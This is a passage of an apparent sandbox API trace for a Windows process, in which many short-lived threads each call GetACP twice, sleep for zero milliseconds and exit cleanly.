[0279.405] RtlExitUserThread (Status=0x0) Thread: id = 3167 os_tid = 0x1da4 [0279.407] GetACP () returned 0x4e4 [0279.407] GetACP () returned 0x4e4 [0279.407] Sleep (dwMilliseconds=0x0) [0279.663] RtlExitUserThread (Status=0x0) Thread: id = 3168 os_tid = 0x1df8 [0279.408] GetACP () returned 0x4e4 [0279.408] GetACP () returned 0x4e4 [0279.408] Sleep (dwMilliseconds=0x0) [0279.664] RtlExitUserThread (Status=0x0) Thread: id = 3169 os_tid = 0x1dfc [0279.408] GetACP () returned 0x4e4 [0279.408] GetACP () returned 0x4e4 [0279.408] Sleep (dwMilliseconds=0x0) [0279.665] RtlExitUserThread (Status=0x0) Thread: id = 3170 os_tid = 0x1e00 [0279.409] GetACP () returned 0x4e4 [0279.409] GetACP () returned 0x4e4 [0279.409] Sleep (dwMilliseconds=0x0) [0279.665] RtlExitUserThread (Status=0x0) Thread: id = 3171 os_tid = 0x1e04 [0279.409] GetACP () returned 0x4e4 [0279.409] GetACP () returned 0x4e4 [0279.409] Sleep (dwMilliseconds=0x0) [0279.666] RtlExitUserThread (Status=0x0) Thread: id = 3172 os_tid = 0x1e08 [0279.410] GetACP () returned 0x4e4 [0279.410] GetACP () returned 0x4e4 [0279.410] Sleep (dwMilliseconds=0x0) [0279.667] RtlExitUserThread (Status=0x0) Thread: id = 3173 os_tid = 0x1e0c [0279.410] GetACP () returned 0x4e4 [0279.410] GetACP () returned 0x4e4 [0279.410] Sleep (dwMilliseconds=0x0) [0279.667] RtlExitUserThread (Status=0x0) Thread: id = 3174 os_tid = 0x1e10 [0279.411] GetACP () returned 0x4e4 [0279.411] GetACP () returned 0x4e4 [0279.411] Sleep (dwMilliseconds=0x0) [0279.668] RtlExitUserThread (Status=0x0) Thread: id = 3175 os_tid = 0x1e14 [0279.411] GetACP () returned 0x4e4 [0279.411] GetACP () returned 0x4e4 [0279.411] Sleep (dwMilliseconds=0x0) [0279.669] RtlExitUserThread (Status=0x0) Thread: id = 3176 os_tid = 0x1e18 [0279.412] GetACP () returned 0x4e4 [0279.412] GetACP () returned 0x4e4 [0279.412] Sleep (dwMilliseconds=0x0) [0279.669] RtlExitUserThread (Status=0x0) Thread: id = 3177 os_tid = 0x1e1c [0279.412] GetACP () returned 0x4e4 [0279.412] GetACP () returned 0x4e4 [0279.412] Sleep (dwMilliseconds=0x0) [0279.670] RtlExitUserThread (Status=0x0) Thread: id = 3178 os_tid = 0x1e20 [0279.413] GetACP () returned 0x4e4 [0279.413] GetACP () returned 0x4e4 [0279.413] Sleep (dwMilliseconds=0x0) [0279.671] RtlExitUserThread (Status=0x0) Thread: id = 3179 os_tid = 0x1e24 [0279.413] GetACP () returned 0x4e4 [0279.413] GetACP () returned 0x4e4 [0279.413] Sleep (dwMilliseconds=0x0) [0279.672] RtlExitUserThread (Status=0x0) Thread: id = 3180 os_tid = 0x1e28 [0279.414] GetACP () returned 0x4e4 [0279.414] GetACP () returned 0x4e4 [0279.414] Sleep (dwMilliseconds=0x0) [0279.672] RtlExitUserThread (Status=0x0) Thread: id = 3181 os_tid = 0x1e2c [0279.414] GetACP () returned 0x4e4 [0279.414] GetACP () returned 0x4e4 [0279.414] Sleep (dwMilliseconds=0x0) [0279.673] RtlExitUserThread (Status=0x0) Thread: id = 3182 os_tid = 0x1e30 [0279.415] GetACP () returned 0x4e4 [0279.415] GetACP () returned 0x4e4 [0279.415] Sleep (dwMilliseconds=0x0) [0279.674] RtlExitUserThread (Status=0x0) Thread: id = 3183 os_tid = 0x1e34 [0279.415] GetACP () returned 0x4e4 [0279.415] GetACP () returned 0x4e4 [0279.415] Sleep (dwMilliseconds=0x0) [0279.675] RtlExitUserThread (Status=0x0) Thread: id = 3184 os_tid = 0x1e38 [0279.416] GetACP () returned 0x4e4 [0279.416] GetACP () returned 0x4e4 [0279.416] Sleep (dwMilliseconds=0x0) [0279.675] RtlExitUserThread (Status=0x0) Thread: id = 3185 os_tid = 0x1e3c [0279.416] GetACP () returned 0x4e4 [0279.416] GetACP () returned 0x4e4 [0279.416] Sleep (dwMilliseconds=0x0) [0279.676] RtlExitUserThread (Status=0x0) Thread: id = 3186 os_tid = 0x1e40 [0279.417] GetACP () returned 0x4e4 [0279.417] GetACP () returned 0x4e4 [0279.417] Sleep (dwMilliseconds=0x0) [0279.677] RtlExitUserThread (Status=0x0) Thread: id = 3187 os_tid = 0x1e9c [0279.678] GetACP () returned 0x4e4 [0279.678] GetACP () returned 0x4e4 [0279.678] Sleep (dwMilliseconds=0x0) [0279.865] RtlExitUserThread (Status=0x0) Thread: id = 3188 os_tid = 0x1ea0 [0279.678] GetACP () returned 0x4e4 [0279.678] GetACP () returned 0x4e4 [0279.678] Sleep (dwMilliseconds=0x0) [0279.866] RtlExitUserThread (Status=0x0) Thread: id = 3189 os_tid = 0x1ea4 [0279.679] GetACP () returned 0x4e4 [0279.679] GetACP () returned 0x4e4 [0279.679] Sleep (dwMilliseconds=0x0) [0279.867] RtlExitUserThread (Status=0x0) Thread: id = 3190 os_tid = 0x1ea8 [0279.679] GetACP () returned 0x4e4 [0279.679] GetACP () returned 0x4e4 [0279.679] Sleep (dwMilliseconds=0x0) [0279.867] RtlExitUserThread (Status=0x0) Thread: id = 3191 os_tid = 0x1eac [0279.680] GetACP () returned 0x4e4 [0279.680] GetACP () returned 0x4e4 [0279.680] Sleep (dwMilliseconds=0x0) [0279.868] RtlExitUserThread (Status=0x0) Thread: id = 3192 os_tid = 0x1eb0 [0279.680] GetACP () returned 0x4e4 [0279.680] GetACP () returned 0x4e4 [0279.680] Sleep (dwMilliseconds=0x0) [0279.869] RtlExitUserThread (Status=0x0) Thread: id = 3193 os_tid = 0x1eb4 [0279.681] GetACP () returned 0x4e4 [0279.681] GetACP () returned 0x4e4 [0279.681] Sleep (dwMilliseconds=0x0) [0279.870] RtlExitUserThread (Status=0x0) Thread: id = 3194 os_tid = 0x1eb8 [0279.681] GetACP () returned 0x4e4 [0279.681] GetACP () returned 0x4e4 [0279.681] Sleep (dwMilliseconds=0x0) [0279.870] RtlExitUserThread (Status=0x0) Thread: id = 3195 os_tid = 0x1ebc [0279.682] GetACP () returned 0x4e4 [0279.682] GetACP () returned 0x4e4 [0279.682] Sleep (dwMilliseconds=0x0) [0279.871] RtlExitUserThread (Status=0x0) Thread: id = 3196 os_tid = 0x1ec0 [0279.682] GetACP () returned 0x4e4 [0279.682] GetACP () returned 0x4e4 [0279.682] Sleep (dwMilliseconds=0x0) [0279.872] RtlExitUserThread (Status=0x0) Thread: id = 3197 os_tid = 0x1ec4 [0279.683] GetACP () returned 0x4e4 [0279.683] GetACP () returned 0x4e4 [0279.683] Sleep (dwMilliseconds=0x0) [0279.873] RtlExitUserThread (Status=0x0) Thread: id = 3198 os_tid = 0x1ec8 [0279.683] GetACP () returned 0x4e4 [0279.683] GetACP () returned 0x4e4 [0279.683] Sleep (dwMilliseconds=0x0) [0279.874] RtlExitUserThread (Status=0x0) Thread: id = 3199 os_tid = 0x1ecc [0279.684] GetACP () returned 0x4e4 [0279.684] GetACP () returned 0x4e4 [0279.684] Sleep (dwMilliseconds=0x0) [0279.874] RtlExitUserThread (Status=0x0) Thread: id = 3200 os_tid = 0x1ed0 [0279.684] GetACP () returned 0x4e4 [0279.684] GetACP () returned 0x4e4 [0279.684] Sleep (dwMilliseconds=0x0) [0279.875] RtlExitUserThread (Status=0x0) Thread: id = 3201 os_tid = 0x1ed4 [0279.685] GetACP () returned 0x4e4 [0279.685] GetACP () returned 0x4e4 [0279.685] Sleep (dwMilliseconds=0x0) [0279.876] RtlExitUserThread (Status=0x0) Thread: id = 3202 os_tid = 0x1ed8 [0279.686] GetACP () returned 0x4e4 [0279.686] GetACP () returned 0x4e4 [0279.686] Sleep (dwMilliseconds=0x0) [0279.877] RtlExitUserThread (Status=0x0) Thread: id = 3203 os_tid = 0x1edc [0279.686] GetACP () returned 0x4e4 [0279.686] GetACP () returned 0x4e4 [0279.686] Sleep (dwMilliseconds=0x0) [0279.877] RtlExitUserThread (Status=0x0) Thread: id = 3204 os_tid = 0x1ee0 [0279.687] GetACP () returned 0x4e4 [0279.687] GetACP () returned 0x4e4 [0279.687] Sleep (dwMilliseconds=0x0) [0279.878] RtlExitUserThread (Status=0x0) Thread: id = 3205 os_tid = 0x1ee4 [0279.687] GetACP () returned 0x4e4 [0279.687] GetACP () returned 0x4e4 [0279.687] Sleep (dwMilliseconds=0x0) [0279.879] RtlExitUserThread (Status=0x0) Thread: id = 3206 os_tid = 0x1f38 [0279.688] GetACP () returned 0x4e4 [0279.688] GetACP () returned 0x4e4 [0279.688] Sleep (dwMilliseconds=0x0) [0279.880] RtlExitUserThread (Status=0x0) Thread: id = 3207 os_tid = 0x1f54 [0279.881] GetACP () returned 0x4e4 [0279.881] GetACP () returned 0x4e4 [0279.881] Sleep (dwMilliseconds=0x0) [0280.066] RtlExitUserThread (Status=0x0) Thread: id = 3208 os_tid = 0x1f58 [0279.882] GetACP () returned 0x4e4 [0279.882] GetACP () returned 0x4e4 [0279.882] Sleep (dwMilliseconds=0x0) [0280.067] RtlExitUserThread (Status=0x0) Thread: id = 3209 os_tid = 0x1f5c [0279.882] GetACP () returned 0x4e4 [0279.882] GetACP () returned 0x4e4 [0279.882] Sleep (dwMilliseconds=0x0) [0280.068] RtlExitUserThread (Status=0x0) Thread: id = 3210 os_tid = 0x1f60 [0279.883] GetACP () returned 0x4e4 [0279.883] GetACP () returned 0x4e4 [0279.883] Sleep (dwMilliseconds=0x0) [0280.068] RtlExitUserThread (Status=0x0) Thread: id = 3211 os_tid = 0x1f64 [0279.883] GetACP () returned 0x4e4 [0279.883] GetACP () returned 0x4e4 [0279.883] Sleep (dwMilliseconds=0x0) [0280.069] RtlExitUserThread (Status=0x0) Thread: id = 3212 os_tid = 0x1f68 [0279.884] GetACP () returned 0x4e4 [0279.884] GetACP () returned 0x4e4 [0279.884] Sleep (dwMilliseconds=0x0) [0280.070] RtlExitUserThread (Status=0x0) Thread: id = 3213 os_tid = 0x1f6c [0279.884] GetACP () returned 0x4e4 [0279.884] GetACP () returned 0x4e4 [0279.884] Sleep (dwMilliseconds=0x0) [0280.071] RtlExitUserThread (Status=0x0) Thread: id = 3214 os_tid = 0x1f70 [0279.885] GetACP () returned 0x4e4 [0279.885] GetACP () returned 0x4e4 [0279.885] Sleep (dwMilliseconds=0x0) [0280.072] RtlExitUserThread (Status=0x0) Thread: id = 3215 os_tid = 0x1f74 [0279.886] GetACP () returned 0x4e4 [0279.886] GetACP () returned 0x4e4 [0279.886] Sleep (dwMilliseconds=0x0) [0280.072] RtlExitUserThread (Status=0x0) Thread: id = 3216 os_tid = 0x1f78 [0279.886] GetACP () returned 0x4e4 [0279.886] GetACP () returned 0x4e4 [0279.886] Sleep (dwMilliseconds=0x0) [0280.073] RtlExitUserThread (Status=0x0) Thread: id = 3217 os_tid = 0x1f7c [0279.887] GetACP () returned 0x4e4 [0279.887] GetACP () returned 0x4e4 [0279.887] Sleep (dwMilliseconds=0x0) [0280.074] RtlExitUserThread (Status=0x0) Thread: id = 3218 os_tid = 0x1f80 [0279.887] GetACP () returned 0x4e4 [0279.887] GetACP () returned 0x4e4 [0279.887] Sleep (dwMilliseconds=0x0) [0280.074] RtlExitUserThread (Status=0x0) Thread: id = 3219 os_tid = 0x1f84 [0279.888] GetACP () returned 0x4e4 [0279.888] GetACP () returned 0x4e4 [0279.888] Sleep (dwMilliseconds=0x0) [0280.075] RtlExitUserThread (Status=0x0) Thread: id = 3220 os_tid = 0x1fd8 [0279.888] GetACP () returned 0x4e4 [0279.888] GetACP () returned 0x4e4 [0279.889] Sleep (dwMilliseconds=0x0) [0280.076] RtlExitUserThread (Status=0x0) Thread: id = 3221 os_tid = 0x1fdc [0279.889] GetACP () returned 0x4e4 [0279.889] GetACP () returned 0x4e4 [0279.889] Sleep (dwMilliseconds=0x0) [0280.076] RtlExitUserThread (Status=0x0) Thread: id = 3222 os_tid = 0x1fe0 [0279.890] GetACP () returned 0x4e4 [0279.890] GetACP () returned 0x4e4 [0279.890] Sleep (dwMilliseconds=0x0) [0280.077] RtlExitUserThread (Status=0x0) Thread: id = 3223 os_tid = 0x1fe4 [0279.890] GetACP () returned 0x4e4 [0279.891] GetACP () returned 0x4e4 [0279.891] Sleep (dwMilliseconds=0x0) [0280.078] RtlExitUserThread (Status=0x0) Thread: id = 3224 os_tid = 0x1fe8 [0279.891] GetACP () returned 0x4e4 [0279.891] GetACP () returned 0x4e4 [0279.891] Sleep (dwMilliseconds=0x0) [0280.079] RtlExitUserThread (Status=0x0) Thread: id = 3225 os_tid = 0x1fec [0279.892] GetACP () returned 0x4e4 [0279.892] GetACP () returned 0x4e4 [0279.892] Sleep (dwMilliseconds=0x0) [0280.079] RtlExitUserThread (Status=0x0) Thread: id = 3226 os_tid = 0x1ff0 [0279.892] GetACP () returned 0x4e4 [0279.892] GetACP () returned 0x4e4 [0279.892] Sleep (dwMilliseconds=0x0) [0280.080] RtlExitUserThread (Status=0x0) Thread: id = 3227 os_tid = 0x1ff4 [0280.081] GetACP () returned 0x4e4 [0280.081] GetACP () returned 0x4e4 [0280.081] Sleep (dwMilliseconds=0x0) [0280.278] RtlExitUserThread (Status=0x0) Thread: id = 3228 os_tid = 0x1ff8 [0280.082] GetACP () returned 0x4e4 [0280.082] GetACP () returned 0x4e4 [0280.082] Sleep (dwMilliseconds=0x0) [0280.278] RtlExitUserThread (Status=0x0) Thread: id = 3229 os_tid = 0x1ffc [0280.082] GetACP () returned 0x4e4 [0280.082] GetACP () returned 0x4e4 [0280.082] Sleep (dwMilliseconds=0x0) [0280.279] RtlExitUserThread (Status=0x0) Thread: id = 3230 os_tid = 0x2e0 [0280.083] GetACP () returned 0x4e4 [0280.083] GetACP () returned 0x4e4 [0280.083] Sleep (dwMilliseconds=0x0) [0280.280] RtlExitUserThread (Status=0x0) Thread: id = 3231 os_tid = 0x2004 [0280.083] GetACP () returned 0x4e4 [0280.083] GetACP () returned 0x4e4 [0280.083] Sleep (dwMilliseconds=0x0) [0280.281] RtlExitUserThread (Status=0x0) Thread: id = 3232 os_tid = 0x2008 [0280.084] GetACP () returned 0x4e4 [0280.084] GetACP () returned 0x4e4 [0280.084] Sleep (dwMilliseconds=0x0) [0280.282] RtlExitUserThread (Status=0x0) Thread: id = 3233 os_tid = 0x200c [0280.084] GetACP () returned 0x4e4 [0280.085] GetACP () returned 0x4e4 [0280.085] Sleep (dwMilliseconds=0x0) [0280.282] RtlExitUserThread (Status=0x0) Thread: id = 3234 os_tid = 0x2010 [0280.085] GetACP () returned 0x4e4 [0280.085] GetACP () returned 0x4e4 [0280.085] Sleep (dwMilliseconds=0x0) [0280.283] RtlExitUserThread (Status=0x0) Thread: id = 3235 os_tid = 0x2014 [0280.086] GetACP () returned 0x4e4 [0280.086] GetACP () returned 0x4e4 [0280.086] Sleep (dwMilliseconds=0x0) [0280.284] RtlExitUserThread (Status=0x0) Thread: id = 3236 os_tid = 0x2018 [0280.086] GetACP () returned 0x4e4 [0280.086] GetACP () returned 0x4e4 [0280.086] Sleep (dwMilliseconds=0x0) [0280.284] RtlExitUserThread (Status=0x0) Thread: id = 3237 os_tid = 0x201c [0280.087] GetACP () returned 0x4e4 [0280.087] GetACP () returned 0x4e4 [0280.087] Sleep (dwMilliseconds=0x0) [0280.285] RtlExitUserThread (Status=0x0) Thread: id = 3238 os_tid = 0x2020 [0280.088] GetACP () returned 0x4e4 [0280.088] GetACP () returned 0x4e4 [0280.088] Sleep (dwMilliseconds=0x0) [0280.286] RtlExitUserThread (Status=0x0) Thread: id = 3239 os_tid = 0x2024 [0280.088] GetACP () returned 0x4e4 [0280.088] GetACP () returned 0x4e4 [0280.088] Sleep (dwMilliseconds=0x0) [0280.287] RtlExitUserThread (Status=0x0) Thread: id = 3240 os_tid = 0x2078 [0280.089] GetACP () returned 0x4e4 [0280.089] GetACP () returned 0x4e4 [0280.089] Sleep (dwMilliseconds=0x0) [0280.287] RtlExitUserThread (Status=0x0) Thread: id = 3241 os_tid = 0x207c [0280.089] GetACP () returned 0x4e4 [0280.089] GetACP () returned 0x4e4 [0280.089] Sleep (dwMilliseconds=0x0) [0280.288] RtlExitUserThread (Status=0x0) Thread: id = 3242 os_tid = 0x2080 [0280.090] GetACP () returned 0x4e4 [0280.090] GetACP () returned 0x4e4 [0280.090] Sleep (dwMilliseconds=0x0) [0280.289] RtlExitUserThread (Status=0x0) Thread: id = 3243 os_tid = 0x2084 [0280.091] GetACP () returned 0x4e4 [0280.091] GetACP () returned 0x4e4 [0280.091] Sleep (dwMilliseconds=0x0) [0280.289] RtlExitUserThread (Status=0x0) Thread: id = 3244 os_tid = 0x2088 [0280.091] GetACP () returned 0x4e4 [0280.091] GetACP () returned 0x4e4 [0280.091] Sleep (dwMilliseconds=0x0) [0280.290] RtlExitUserThread (Status=0x0) Thread: id = 3245 os_tid = 0x208c [0280.092] GetACP () returned 0x4e4 [0280.092] GetACP () returned 0x4e4 [0280.092] Sleep (dwMilliseconds=0x0) [0280.291] RtlExitUserThread (Status=0x0) Thread: id = 3246 os_tid = 0x2090 [0280.093] GetACP () returned 0x4e4 [0280.093] GetACP () returned 0x4e4 [0280.093] Sleep (dwMilliseconds=0x0) [0280.292] RtlExitUserThread (Status=0x0) Thread: id = 3247 os_tid = 0x2094 [0280.293] GetACP () returned 0x4e4 [0280.293] GetACP () returned 0x4e4 [0280.293] Sleep (dwMilliseconds=0x0) [0280.545] RtlExitUserThread (Status=0x0) Thread: id = 3248 os_tid = 0x2098 [0280.293] GetACP () returned 0x4e4 [0280.294] GetACP () returned 0x4e4 [0280.294] Sleep (dwMilliseconds=0x0) [0280.545] RtlExitUserThread (Status=0x0) Thread: id = 3249 os_tid = 0x209c [0280.294] GetACP () returned 0x4e4 [0280.294] GetACP () returned 0x4e4 [0280.294] Sleep (dwMilliseconds=0x0) [0280.546] RtlExitUserThread (Status=0x0) Thread: id = 3250 os_tid = 0x20a0 [0280.295] GetACP () returned 0x4e4 [0280.295] GetACP () returned 0x4e4 [0280.295] Sleep (dwMilliseconds=0x0) [0280.546] RtlExitUserThread (Status=0x0) Thread: id = 3251 os_tid = 0x20a4 [0280.298] GetACP () returned 0x4e4 [0280.298] GetACP () returned 0x4e4 [0280.298] Sleep (dwMilliseconds=0x0) [0280.547] RtlExitUserThread (Status=0x0) Thread: id = 3252 os_tid = 0x20a8 [0280.299] GetACP () returned 0x4e4 [0280.299] GetACP () returned 0x4e4 [0280.299] Sleep (dwMilliseconds=0x0) [0280.547] RtlExitUserThread (Status=0x0) Thread: id = 3253 os_tid = 0x20ac [0280.299] GetACP () returned 0x4e4 [0280.299] GetACP () returned 0x4e4 [0280.299] Sleep (dwMilliseconds=0x0) [0280.548] RtlExitUserThread (Status=0x0) Thread: id = 3254 os_tid = 0x20b0 [0280.300] GetACP () returned 0x4e4 [0280.300] GetACP () returned 0x4e4 [0280.300] Sleep (dwMilliseconds=0x0) [0280.549] RtlExitUserThread (Status=0x0) Thread: id = 3255 os_tid = 0x20b4 [0280.300] GetACP () returned 0x4e4 [0280.300] GetACP () returned 0x4e4 [0280.300] Sleep (dwMilliseconds=0x0) [0280.549] RtlExitUserThread (Status=0x0) Thread: id = 3256 os_tid = 0x20b8 [0280.301] GetACP () returned 0x4e4 [0280.301] GetACP () returned 0x4e4 [0280.301] Sleep (dwMilliseconds=0x0) [0280.550] RtlExitUserThread (Status=0x0) Thread: id = 3257 os_tid = 0x20bc [0280.301] GetACP () returned 0x4e4 [0280.301] GetACP () returned 0x4e4 [0280.301] Sleep (dwMilliseconds=0x0) [0280.550] RtlExitUserThread (Status=0x0) Thread: id = 3258 os_tid = 0x20c0 [0280.302] GetACP () returned 0x4e4 [0280.302] GetACP () returned 0x4e4 [0280.302] Sleep (dwMilliseconds=0x0) [0280.551] RtlExitUserThread (Status=0x0) Thread: id = 3259 os_tid = 0x20c4 [0280.303] GetACP () returned 0x4e4 [0280.303] GetACP () returned 0x4e4 [0280.303] Sleep (dwMilliseconds=0x0) [0280.551] RtlExitUserThread (Status=0x0) Thread: id = 3260 os_tid = 0x2118 [0280.303] GetACP () returned 0x4e4 [0280.303] GetACP () returned 0x4e4 [0280.304] Sleep (dwMilliseconds=0x0) [0280.552] RtlExitUserThread (Status=0x0) Thread: id = 3261 os_tid = 0x211c [0280.306] GetACP () returned 0x4e4 [0280.306] GetACP () returned 0x4e4 [0280.306] Sleep (dwMilliseconds=0x0) [0280.565] RtlExitUserThread (Status=0x0) Thread: id = 3262 os_tid = 0x2120 [0280.307] GetACP () returned 0x4e4 [0280.307] GetACP () returned 0x4e4 [0280.307] Sleep (dwMilliseconds=0x0) [0280.566] RtlExitUserThread (Status=0x0) Thread: id = 3263 os_tid = 0x2124 [0280.307] GetACP () returned 0x4e4 [0280.307] GetACP () returned 0x4e4 [0280.307] Sleep (dwMilliseconds=0x0) [0280.567] RtlExitUserThread (Status=0x0) Thread: id = 3264 os_tid = 0x2128 [0280.308] GetACP () returned 0x4e4 [0280.308] GetACP () returned 0x4e4 [0280.308] Sleep (dwMilliseconds=0x0) [0280.568] RtlExitUserThread (Status=0x0) Thread: id = 3265 os_tid = 0x212c [0280.308] GetACP () returned 0x4e4 [0280.308] GetACP () returned 0x4e4 [0280.308] Sleep (dwMilliseconds=0x0) [0280.568] RtlExitUserThread (Status=0x0) Thread: id = 3266 os_tid = 0x2130 [0280.309] GetACP () returned 0x4e4 [0280.309] GetACP () returned 0x4e4 [0280.309] Sleep (dwMilliseconds=0x0) [0280.569] RtlExitUserThread (Status=0x0) Thread: id = 3267 os_tid = 0x2134 [0280.570] GetACP () returned 0x4e4 [0280.570] GetACP () returned 0x4e4 [0280.570] Sleep (dwMilliseconds=0x0) [0280.862] RtlExitUserThread (Status=0x0) Thread: id = 3268 os_tid = 0x2138 [0280.571] GetACP () returned 0x4e4 [0280.571] GetACP () returned 0x4e4 [0280.571] Sleep (dwMilliseconds=0x0) [0280.863] RtlExitUserThread (Status=0x0) Thread: id = 3269 os_tid = 0x213c [0280.571] GetACP () returned 0x4e4 [0280.571] GetACP () returned 0x4e4 [0280.571] Sleep (dwMilliseconds=0x0) [0280.864] RtlExitUserThread (Status=0x0) Thread: id = 3270 os_tid = 0x2140 [0280.572] GetACP () returned 0x4e4 [0280.572] GetACP () returned 0x4e4 [0280.572] Sleep (dwMilliseconds=0x0) [0280.865] RtlExitUserThread (Status=0x0) Thread: id = 3271 os_tid = 0x2144 [0280.572] GetACP () returned 0x4e4 [0280.572] GetACP () returned 0x4e4 [0280.572] Sleep (dwMilliseconds=0x0) [0280.865] RtlExitUserThread (Status=0x0) Thread: id = 3272 os_tid = 0x2148 [0280.573] GetACP () returned 0x4e4 [0280.573] GetACP () returned 0x4e4 [0280.573] Sleep (dwMilliseconds=0x0) [0280.866] RtlExitUserThread (Status=0x0) Thread: id = 3273 os_tid = 0x214c [0280.573] GetACP () returned 0x4e4 [0280.573] GetACP () returned 0x4e4 [0280.573] Sleep (dwMilliseconds=0x0) [0280.867] RtlExitUserThread (Status=0x0) Thread: id = 3274 os_tid = 0x2150 [0280.574] GetACP () returned 0x4e4 [0280.574] GetACP () returned 0x4e4 [0280.574] Sleep (dwMilliseconds=0x0) [0280.868] RtlExitUserThread (Status=0x0) Thread: id = 3275 os_tid = 0x2154 [0280.574] GetACP () returned 0x4e4 [0280.574] GetACP () returned 0x4e4 [0280.574] Sleep (dwMilliseconds=0x0) [0280.868] RtlExitUserThread (Status=0x0) Thread: id = 3276 os_tid = 0x2158 [0280.575] GetACP () returned 0x4e4 [0280.575] GetACP () returned 0x4e4 [0280.575] Sleep (dwMilliseconds=0x0) [0280.869] RtlExitUserThread (Status=0x0) Thread: id = 3277 os_tid = 0x215c [0280.575] GetACP () returned 0x4e4 [0280.575] GetACP () returned 0x4e4 [0280.575] Sleep (dwMilliseconds=0x0) [0280.870] RtlExitUserThread (Status=0x0) Thread: id = 3278 os_tid = 0x2160 [0280.576] GetACP () returned 0x4e4 [0280.576] GetACP () returned 0x4e4 [0280.576] Sleep (dwMilliseconds=0x0) [0280.870] RtlExitUserThread (Status=0x0) Thread: id = 3279 os_tid = 0x2164 [0280.576] GetACP () returned 0x4e4 [0280.576] GetACP () returned 0x4e4 [0280.576] Sleep (dwMilliseconds=0x0) [0280.871] RtlExitUserThread (Status=0x0) Thread: id = 3280 os_tid = 0x21b8 [0280.577] GetACP () returned 0x4e4 [0280.577] GetACP () returned 0x4e4 [0280.577] Sleep (dwMilliseconds=0x0) [0280.872] RtlExitUserThread (Status=0x0) Thread: id = 3281 os_tid = 0x21bc [0280.577] GetACP () returned 0x4e4 [0280.577] GetACP () returned 0x4e4 [0280.577] Sleep (dwMilliseconds=0x0) [0280.873] RtlExitUserThread (Status=0x0) Thread: id = 3282 os_tid = 0x21c0 [0280.578] GetACP () returned 0x4e4 [0280.578] GetACP () returned 0x4e4 [0280.578] Sleep (dwMilliseconds=0x0) [0280.874] RtlExitUserThread (Status=0x0) Thread: id = 3283 os_tid = 0x21c4 [0280.578] GetACP () returned 0x4e4 [0280.578] GetACP () returned 0x4e4 [0280.578] Sleep (dwMilliseconds=0x0) [0280.874] RtlExitUserThread (Status=0x0) Thread: id = 3284 os_tid = 0x21c8 [0280.579] GetACP () returned 0x4e4 [0280.579] GetACP () returned 0x4e4 [0280.579] Sleep (dwMilliseconds=0x0) [0280.875] RtlExitUserThread (Status=0x0) Thread: id = 3285 os_tid = 0x21cc [0280.579] GetACP () returned 0x4e4 [0280.579] GetACP () returned 0x4e4 [0280.579] Sleep (dwMilliseconds=0x0) [0280.876] RtlExitUserThread (Status=0x0) Thread: id = 3286 os_tid = 0x21d0 [0280.580] GetACP () returned 0x4e4 [0280.580] GetACP () returned 0x4e4 [0280.580] Sleep (dwMilliseconds=0x0) [0280.877] RtlExitUserThread (Status=0x0) Thread: id = 3287 os_tid = 0x21e0 [0280.878] GetACP () returned 0x4e4 [0280.878] GetACP () returned 0x4e4 [0280.878] Sleep (dwMilliseconds=0x0) [0281.236] RtlExitUserThread (Status=0x0) Thread: id = 3288 os_tid = 0x21e4 [0280.878] GetACP () returned 0x4e4 [0280.878] GetACP () returned 0x4e4 [0280.878] Sleep (dwMilliseconds=0x0) [0281.236] RtlExitUserThread (Status=0x0) Thread: id = 3289 os_tid = 0x21e8 [0280.879] GetACP () returned 0x4e4 [0280.879] GetACP () returned 0x4e4 [0280.879] Sleep (dwMilliseconds=0x0) [0281.237] RtlExitUserThread (Status=0x0) Thread: id = 3290 os_tid = 0x21ec [0280.879] GetACP () returned 0x4e4 [0280.879] GetACP () returned 0x4e4 [0280.879] Sleep (dwMilliseconds=0x0) [0281.238] RtlExitUserThread (Status=0x0) Thread: id = 3291 os_tid = 0x21f0 [0280.880] GetACP () returned 0x4e4 [0280.880] GetACP () returned 0x4e4 [0280.880] Sleep (dwMilliseconds=0x0) [0281.239] RtlExitUserThread (Status=0x0) Thread: id = 3292 os_tid = 0x21f4 [0280.880] GetACP () returned 0x4e4 [0280.880] GetACP () returned 0x4e4 [0280.880] Sleep (dwMilliseconds=0x0) [0281.239] RtlExitUserThread (Status=0x0) Thread: id = 3293 os_tid = 0x21f8 [0280.881] GetACP () returned 0x4e4 [0280.881] GetACP () returned 0x4e4 [0280.881] Sleep (dwMilliseconds=0x0) [0281.240] RtlExitUserThread (Status=0x0) Thread: id = 3294 os_tid = 0x21fc [0280.881] GetACP () returned 0x4e4 [0280.881] GetACP () returned 0x4e4 [0280.881] Sleep (dwMilliseconds=0x0) [0281.241] RtlExitUserThread (Status=0x0) Thread: id = 3295 os_tid = 0x2200 [0280.882] GetACP () returned 0x4e4 [0280.882] GetACP () returned 0x4e4 [0280.882] Sleep (dwMilliseconds=0x0) [0281.241] RtlExitUserThread (Status=0x0) Thread: id = 3296 os_tid = 0x2204 [0280.884] GetACP () returned 0x4e4 [0280.884] GetACP () returned 0x4e4 [0280.885] Sleep (dwMilliseconds=0x0) [0281.242] RtlExitUserThread (Status=0x0) Thread: id = 3297 os_tid = 0x2258 [0280.885] GetACP () returned 0x4e4 [0280.885] GetACP () returned 0x4e4 [0280.885] Sleep (dwMilliseconds=0x0) [0281.243] RtlExitUserThread (Status=0x0) Thread: id = 3298 os_tid = 0x225c [0280.885] GetACP () returned 0x4e4 [0280.885] GetACP () returned 0x4e4 [0280.885] Sleep (dwMilliseconds=0x0) [0281.243] RtlExitUserThread (Status=0x0) Thread: id = 3299 os_tid = 0x2260 [0280.886] GetACP () returned 0x4e4 [0280.886] GetACP () returned 0x4e4 [0280.886] Sleep (dwMilliseconds=0x0) [0281.244] RtlExitUserThread (Status=0x0) Thread: id = 3300 os_tid = 0x2264 [0280.886] GetACP () returned 0x4e4 [0280.886] GetACP () returned 0x4e4 [0280.886] Sleep (dwMilliseconds=0x0) [0281.245] RtlExitUserThread (Status=0x0) Thread: id = 3301 os_tid = 0x2268 [0280.887] GetACP () returned 0x4e4 [0280.887] GetACP () returned 0x4e4 [0280.887] Sleep (dwMilliseconds=0x0) [0281.246] RtlExitUserThread (Status=0x0) Thread: id = 3302 os_tid = 0x226c [0280.887] GetACP () returned 0x4e4 [0280.887] GetACP () returned 0x4e4 [0280.887] Sleep (dwMilliseconds=0x0) [0281.246] RtlExitUserThread (Status=0x0) Thread: id = 3303 os_tid = 0x2270 [0280.888] GetACP () returned 0x4e4 [0280.888] GetACP () returned 0x4e4 [0280.888] Sleep (dwMilliseconds=0x0) [0281.247] RtlExitUserThread (Status=0x0) Thread: id = 3304 os_tid = 0x2274 [0280.888] GetACP () returned 0x4e4 [0280.888] GetACP () returned 0x4e4 [0280.888] Sleep (dwMilliseconds=0x0) [0281.248] 